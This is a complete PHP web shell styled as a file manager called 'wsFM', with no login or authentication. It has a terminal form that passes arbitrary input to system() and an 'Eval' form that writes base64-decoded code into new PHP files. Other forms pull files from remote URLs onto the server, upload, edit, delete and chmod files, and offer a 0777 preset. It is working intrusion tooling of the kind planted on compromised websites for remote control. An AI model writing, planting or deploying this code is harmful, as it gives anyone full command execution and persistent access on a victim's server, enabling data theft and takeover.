<?php
error_reporting(0);
session_start();
$docRoot = realpath($_SERVER['DOCUMENT_ROOT']);
$curDir = empty($_GET['d']) ? $docRoot : realpath($_GET['d']);
if (!$curDir || strncmp($curDir, $docRoot, strlen($docRoot)) !== 0) $curDir = $docRoot;

function humanSize($byte) {
    $unit = ['B', 'KB', 'MB', 'GB', 'TB'];
    $idx = 0;
    while ($byte >= 1024 && $idx < 4) {
        $byte /= 1024;
        $idx++;
    }
    return round($byte, 2) . ' ' . $unit[$idx];
}

function parsePerm($target) {
    $mode = fileperms($target);
    $result = ($mode & 0x4000) ? 'd' : '-';
    $result .= ($mode & 0x0100) ? 'r' : '-';
    $result .= ($mode & 0x0080) ? 'w' : '-';
    $result .= ($mode & 0x0040) ? (($mode & 0x0800) ? 's' : 'x') : (($mode & 0x0800) ? 'S' : '-');
    $result .= ($mode & 0x0020) ? 'r' : '-';
    $result .= ($mode & 0x0010) ? 'w' : '-';
    $result .= ($mode & 0x0008) ? (($mode & 0x0400) ? 's' : 'x') : (($mode & 0x0400) ? 'S' : '-');
    $result .= ($mode & 0x0004) ? 'r' : '-';
    $result .= ($mode & 0x0002) ? 'w' : '-';
    $result .= ($mode & 0x0001) ? (($mode & 0x0200) ? 't' : 'x') : (($mode & 0x0200) ? 'T' : '-');
    return $result;
}

$notice = '';
if ($_POST) {
    $action = key($_POST);
    $value = current($_POST);
    $subAction = $_POST['sub'] ?? '';

    if ($action === 'fileUp') {
        $source = $_FILES['bin']['tmp_name'];
        $fileName = basename($_FILES['bin']['name']);
        if ($source && $fileName) {
            move_uploaded_file($source, "{$curDir}/{$fileName}");
            $notice = "Uploaded: {$fileName}";
        }
    }

    if ($action === 'urlPull') {
        $remoteUrl = $_POST['urlAddr'];
        $localName = basename(parse_url($remoteUrl, PHP_URL_PATH));
        $rawData = @file_get_contents($remoteUrl);
        if ($rawData && $localName) {
            file_put_contents("{$curDir}/{$localName}", $rawData);
            $notice = "Pulled from URL: {$localName}";
        }
    }

    if ($action === 'decompress') {
        $zipName = $_POST['packName'];
        $zipFull = "{$curDir}/{$zipName}";
        if (file_exists($zipFull)) {
            $zipObj = new ZipArchive;
            if ($zipObj->open($zipFull) === true) {
                $zipObj->extractTo($curDir);
                $zipObj->close();
                $notice = "Extracted: {$zipName}";
            }
        }
    }

    if ($action === 'evalGen') {
        $payload = $_POST['b64Code'];
        $outName = $_POST['outFile'] ?: 'gen.php';
        if ($payload) {
            file_put_contents("{$curDir}/{$outName}", base64_decode($payload));
            $notice = "Generated: {$outName}";
        }
    }

    if ($action === 'createNode') {
        $nodeName = $_POST['nodeName'];
        $nodeType = $_POST['nodeType'];
        if ($nodeName) {
            if ($nodeType === 'file') {
                touch("{$curDir}/{$nodeName}");
                $notice = "File created: {$nodeName}";
            } else {
                mkdir("{$curDir}/{$nodeName}");
                $notice = "Directory created: {$nodeName}";
            }
        }
    }

    if ($action === 'renameOp') {
        $oldName = $_POST['oldName'];
        $newName = $_POST['newName'];
        if ($oldName && $newName && file_exists("{$curDir}/{$oldName}")) {
            rename("{$curDir}/{$oldName}", "{$curDir}/{$newName}");
            $notice = "Renamed: {$oldName} → {$newName}";
        }
    }

    if ($action === 'removeOp') {
        $target = $_POST['targetName'];
        if ($target) {
            $fullPath = "{$curDir}/{$target}";
            if (is_dir($fullPath)) {
                rmdir($fullPath);
            } else {
                unlink($fullPath);
            }
            $notice = "Removed: {$target}";
        }
    }

    if ($action === 'saveOp') {
        $targetFile = $_POST['targetFile'];
        $content = $_POST['fileContent'];
        if ($targetFile) {
            file_put_contents("{$curDir}/{$targetFile}", $content);
            $notice = "Saved: {$targetFile}";
        }
    }

    if ($action === 'chmodOp') {
        $chmodTarget = $_POST['chmodTarget'];
        $chmodValue = $_POST['chmodVal'];
        if ($chmodTarget && preg_match('/^0[0-7]{3}$/', $chmodValue)) {
            chmod("{$curDir}/{$chmodTarget}", octdec($chmodValue));
            $notice = "CHMOD {$chmodValue} applied to {$chmodTarget}";
        }
    }

    if ($action === 'execCmd') {
        $command = $_POST['cmdLine'];
        if ($command) {
            ob_start();
            system($command);
            $_SESSION['cmdOutput'] = ob_get_clean();
            header("Location: ?d=" . urlencode($curDir));
            exit;
        }
    }
}

if (isset($_GET['download'])) {
    $dlFile = "{$curDir}/" . basename($_GET['download']);
    if (file_exists($dlFile)) {
        header('Content-Type: application/octet-stream');
        header('Content-Disposition: attachment; filename="' . basename($dlFile) . '"');
        readfile($dlFile);
        exit;
    }
}

$editFile = null;
$editContent = null;
if (isset($_GET['editor'])) {
    $editPath = "{$curDir}/" . basename($_GET['editor']);
    if (file_exists($editPath) && is_file($editPath)) {
        $editFile = basename($_GET['editor']);
        $editContent = htmlspecialchars(file_get_contents($editPath));
    }
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>wsFM</title>
<style>
* { margin: 0; padding: 0; box-sizing: border-box; }
body { background: #0a0c10; color: #d0d4dc; font-family: 'Segoe UI', sans-serif; padding: 16px; }
a { color: #79c0ff; text-decoration: none; }
a:hover { text-decoration: underline; }
.container { max-width: 1460px; margin: 0 auto; }
.topbar { display: flex; justify-content: space-between; align-items: center; padding: 14px 20px; background: #161b22; border-radius: 10px; border: 1px solid #30363d; margin-bottom: 18px; }
.topbar h1 { color: #58a6ff; font-size: 21px; letter-spacing: 0.5px; }
.nav { background: #161b22; padding: 11px 16px; border-radius: 8px; border: 1px solid #30363d; margin-bottom: 18px; word-break: break-all; font-size: 13px; }
.nav a { color: #58a6ff; margin: 0 4px; }
.nav span { color: #484f58; }
.panel { display: flex; flex-wrap: wrap; gap: 8px; background: #161b22; padding: 14px; border-radius: 8px; border: 1px solid #30363d; margin-bottom: 20px; }
.panel label { color: #8b949e; font-size: 12px; margin-right: 3px; }
.panel input, .panel button { background: #21262d; border: 1px solid #30363d; color: #c9d1d9; padding: 5px 9px; border-radius: 6px; font-size: 12px; }
.panel button { background: #238636; border-color: #2ea043; cursor: pointer; font-weight: 600; }
.panel button:hover { background: #2ea043; }
.segment { border-right: 1px solid #30363d; padding-right: 10px; margin-right: 4px; display: flex; align-items: center; flex-wrap: wrap; gap: 4px; }
.segment:last-child { border-right: none; }
table { width: 100%; border-collapse: collapse; background: #161b22; border-radius: 8px; overflow: hidden; border: 1px solid #30363d; }
th { background: #21262d; padding: 9px 12px; text-align: left; font-size: 12px; color: #8b949e; border-bottom: 1px solid #30363d; }
td { padding: 7px 12px; border-bottom: 1px solid #21262d; font-size: 13px; }
tr:hover td { background: #1c2333; }
.op a { margin: 0 3px; padding: 2px 6px; border-radius: 4px; background: #21262d; color: #c9d1d9; font-size: 11px; }
.op a:hover { background: #30363d; text-decoration: none; }
.op .danger { color: #f85149; }
.op .special { color: #d2a8ff; }
.console { background: #0d1117; border: 1px solid #30363d; border-radius: 8px; margin-top: 18px; padding: 14px; }
.console h3 { color: #00ff41; margin-bottom: 8px; font-size: 14px; }
.console textarea { width: 100%; height: 200px; background: #010409; color: #00ff41; border: 1px solid #30363d; border-radius: 6px; padding: 10px; font-family: 'Consolas', monospace; font-size: 12px; resize: vertical; }
.console input[type=text] { width: calc(100% - 105px); background: #21262d; border: 1px solid #30363d; color: #c9d1d9; padding: 7px 10px; border-radius: 6px; font-family: monospace; }
.console input[type=submit] { background: #238636; border: none; color: #fff; padding: 7px 16px; border-radius: 6px; cursor: pointer; font-weight: 600; }
.overlay { display: none; position: fixed; inset: 0; background: rgba(0,0,0,0.72); z-index: 900; justify-content: center; align-items: center; }
.dialog { background: #161b22; border: 1px solid #30363d; border-radius: 12px; padding: 22px; min-width: 340px; max-width: 440px; }
.dialog h3 { color: #f0883e; margin-bottom: 12px; }
.dialog label { display: block; margin: 8px 0 3px; color: #8b949e; font-size: 12px; }
.dialog input, .dialog textarea { width: 100%; background: #21262d; border: 1px solid #30363d; color: #c9d1d9; padding: 7px; border-radius: 6px; }
.dialog textarea { height: 260px; font-family: monospace; font-size: 12px; }
.dialog button { background: #238636; border: none; color: #fff; padding: 7px 18px; border-radius: 6px; cursor: pointer; margin-top: 10px; margin-right: 6px; font-weight: 600; }
.dialog .cancel { background: #30363d; }
.notice { background: #1f6feb22; border: 1px solid #1f6feb; color: #58a6ff; padding: 9px 14px; border-radius: 6px; margin-bottom: 14px; font-size: 13px; }
</style>
</head>
<body>
<div class="container">
<div class="topbar">
<h1>🐚 wsFM</h1>
<span style="color: #8b949e; font-size: 12px;">open access</span>
</div>

<?php if ($notice): ?><div class="notice"><?= htmlspecialchars($notice) ?></div><?php endif; ?>

<div class="nav">
📁 <a href="?d=<?= urlencode($docRoot) ?>">[ROOT]</a>
<?php
$crumbs = explode('/', trim(substr($curDir, strlen($docRoot)), '/'));
$builder = $docRoot;
echo '<span> / </span>';
foreach ($crumbs as $crumb) {
    if (!$crumb) continue;
    $builder .= '/' . $crumb;
    echo '<a href="?d=' . urlencode($builder) . '">' . htmlspecialchars($crumb) . '</a><span> / </span>';
}
?>
</div>

<div class="panel">
<form method="post" enctype="multipart/form-data">
<div class="segment">
<label>⬆ Upload:</label>
<input type="file" name="bin" required>
<button type="submit" name="fileUp" value="1">Go</button>
</div>
</form>

<form method="post">
<div class="segment">
<label>🌐 URL:</label>
<input type="url" name="urlAddr" placeholder="https://" size="22" required>
<button type="submit" name="urlPull" value="1">Fetch</button>
</div>
</form>

<form method="post">
<div class="segment">
<label>📦 Unzip:</label>
<input type="text" name="packName" placeholder="file.zip" size="10" required>
<button type="submit" name="decompress" value="1">Extract</button>
</div>
</form>

<form method="post">
<div class="segment">
<label>🧬 Eval:</label>
<input type="text" name="outFile" placeholder="out.php" size="7" value="x.php">
<input type="text" name="b64Code" placeholder="base64.." size="18" required>
<button type="submit" name="evalGen" value="1">Generate</button>
</div>
</form>

<form method="post">
<div class="segment">
<label>➕ New:</label>
<input type="text" name="nodeName" placeholder="name" size="8" required>
<select name="nodeType">
<option value="file">File</option>
<option value="dir">Dir</option>
</select>
<button type="submit" name="createNode" value="1">Create</button>
</div>
</form>
</div>

<table>
<tr><th>Name</th><th>Size</th><th>Modified</th><th>Perms</th><th>Actions</th></tr>
<?php
$entries = scandir($curDir);
$folders = [];
$items = [];
foreach ($entries as $entry) {
    if ($entry == '.' || $entry == '..') continue;
    if (is_dir("{$curDir}/{$entry}")) $folders[] = $entry;
    else $items[] = $entry;
}
natcasesort($folders);
natcasesort($items);
$listing = array_merge(['..' => '..'], $folders, $items);

foreach ($listing as $entry) {
    if ($entry === '..') {
        $ancestor = dirname($curDir);
        if ($ancestor && strncmp($ancestor, $docRoot, strlen($docRoot)) === 0) {
            echo '<tr><td colspan="5"><a href="?d=' . urlencode($ancestor) . '" style="color: #f0883e; font-weight: 600;">⬆ ../ (go up)</a></td></tr>';
        }
        continue;
    }
    $fullPath = "{$curDir}/{$entry}";
    $isDir = is_dir($fullPath);
    $size = $isDir ? '-' : humanSize(filesize($fullPath));
    $modified = date('Y-m-d H:i:s', filemtime($fullPath));
    $permission = parsePerm($fullPath);
    $icon = $isDir ? '📁' : '📄';
    $encoded = urlencode($entry);
    echo '<tr>';
    echo '<td>' . $icon . ' ' . ($isDir ? '<a href="?d=' . urlencode($fullPath) . '">' : '') . htmlspecialchars($entry) . ($isDir ? '</a>' : '') . '</td>';
    echo '<td>' . $size . '</td>';
    echo '<td>' . $modified . '</td>';
    echo '<td>' . $permission . '</td>';
    echo '<td class="op">';
    if (!$isDir) {
        echo '<a href="?d=' . urlencode($curDir) . '&editor=' . $encoded . '">✏️Edit</a>';
        echo '<a href="?d=' . urlencode($curDir) . '&download=' . $encoded . '">⬇DL</a>';
    }
    echo '<a href="#" onclick="promptRename(\'' . htmlspecialchars($entry, ENT_QUOTES) . '\')">✏️Rnm</a>';
    echo '<a href="#" onclick="promptDelete(\'' . htmlspecialchars($entry, ENT_QUOTES) . '\')" class="danger">🗑Del</a>';
    echo '<a href="#" onclick="promptChmod(\'' . htmlspecialchars($entry, ENT_QUOTES) . '\')" class="special">🔒CHMOD</a>';
    echo '</td></tr>';
}
?>
</table>

<div class="console">
<h3>💻 Terminal</h3>
<form method="post">
<input type="text" name="cmdLine" placeholder="$ type command here..." autocomplete="off" required>
<input type="hidden" name="execCmd" value="1">
<input type="submit" value="Execute">
</form>
<?php if (isset($_SESSION['cmdOutput'])): ?>
<textarea readonly><?= htmlspecialchars($_SESSION['cmdOutput']) ?></textarea>
<?php unset($_SESSION['cmdOutput']); endif; ?>
</div>
</div>

<!-- Modals -->
<div id="editOverlay" class="overlay">
<div class="dialog">
<h3>✏️ Edit File</h3>
<form method="post">
<input type="hidden" name="saveOp" value="1">
<input type="hidden" name="targetFile" id="editFileName">
<label>Content:</label>
<textarea name="fileContent" id="editContentArea"></textarea>
<div>
<button type="submit">💾 Save</button>
<button type="button" class="cancel" onclick="closeModal('editOverlay')">Cancel</button>
</div>
</form>
</div>
</div>

<div id="renameOverlay" class="overlay">
<div class="dialog">
<h3>✏️ Rename</h3>
<form method="post">
<input type="hidden" name="renameOp" value="1">
<input type="hidden" name="oldName" id="renameOld">
<label>New name:</label>
<input type="text" name="newName" id="renameNew" required>
<div>
<button type="submit">✅ Rename</button>
<button type="button" class="cancel" onclick="closeModal('renameOverlay')">Cancel</button>
</div>
</form>
</div>
</div>

<div id="deleteOverlay" class="overlay">
<div class="dialog">
<h3 style="color: #f85149;">⚠️ Confirm Delete</h3>
<form method="post">
<input type="hidden" name="removeOp" value="1">
<input type="hidden" name="targetName" id="deleteTarget">
<p style="margin: 12px 0; color: #8b949e;">Delete <strong id="deleteLabel" style="color: #f85149;"></strong> permanently?</p>
<div>
<button type="submit" style="background: #da3633;">🗑 Delete</button>
<button type="button" class="cancel" onclick="closeModal('deleteOverlay')">Cancel</button>
</div>
</form>
</div>
</div>

<div id="chmodOverlay" class="overlay">
<div class="dialog">
<h3 style="color: #d2a8ff;">🔒 Change Permissions</h3>
<form method="post">
<input type="hidden" name="chmodOp" value="1">
<input type="hidden" name="chmodTarget" id="chmodTarget">
<label>Permission (octal):</label>
<input type="text" name="chmodVal" id="chmodValue" value="0755" pattern="^0[0-7]{3}$" style="font-family: monospace; font-size: 15px; text-align: center; letter-spacing: 2px;">
<div style="margin-top: 8px; display: flex; gap: 8px;">
<button type="button" onclick="document.getElementById('chmodValue').value='0644'" style="background: #21262d; border: 1px solid #30363d; color: #c9d1d9; padding: 5px 12px; border-radius: 6px; cursor: pointer;">0644</button>
<button type="button" onclick="document.getElementById('chmodValue').value='0755'" style="background: #21262d; border: 1px solid #30363d; color: #c9d1d9; padding: 5px 12px; border-radius: 6px; cursor: pointer;">0755</button>
<button type="button" onclick="document.getElementById('chmodValue').value='0777'" style="background: #21262d; border: 1px solid #30363d; color: #c9d1d9; padding: 5px 12px; border-radius: 6px; cursor: pointer;">0777</button>
</div>
<div style="margin-top: 12px;">
<button type="submit">✅ Apply</button>
<button type="button" class="cancel" onclick="closeModal('chmodOverlay')">Cancel</button>
</div>
</form>
</div>
</div>

<script>
<?php if ($editFile): ?>
document.addEventListener('DOMContentLoaded', function() {
    document.getElementById('editFileName').value = '<?= htmlspecialchars($editFile, ENT_QUOTES) ?>';
    document.getElementById('editContentArea').value = '<?= addslashes($editContent) ?>';
    document.getElementById('editOverlay').style.display = 'flex';
});
<?php endif; ?>

function promptRename(name) {
    document.getElementById('renameOld').value = name;
    document.getElementById('renameNew').value = name;
    document.getElementById('renameOverlay').style.display = 'flex';
}
function promptDelete(name) {
    document.getElementById('deleteTarget').value = name;
    document.getElementById('deleteLabel').innerText = name;
    document.getElementById('deleteOverlay').style.display = 'flex';
}
function promptChmod(name) {
    document.getElementById('chmodTarget').value = name;
    document.getElementById('chmodValue').value = '0755';
    document.getElementById('chmodOverlay').style.display = 'flex';
}
function closeModal(id) {
    document.getElementById(id).style.display = 'none';
}
window.onclick = function(e) {
    ['editOverlay', 'renameOverlay', 'deleteOverlay', 'chmodOverlay'].forEach(function(id) {
        var el = document.getElementById(id);
        if (e.target === el) el.style.display = 'none';
    });
};
</script>
</body>
</html>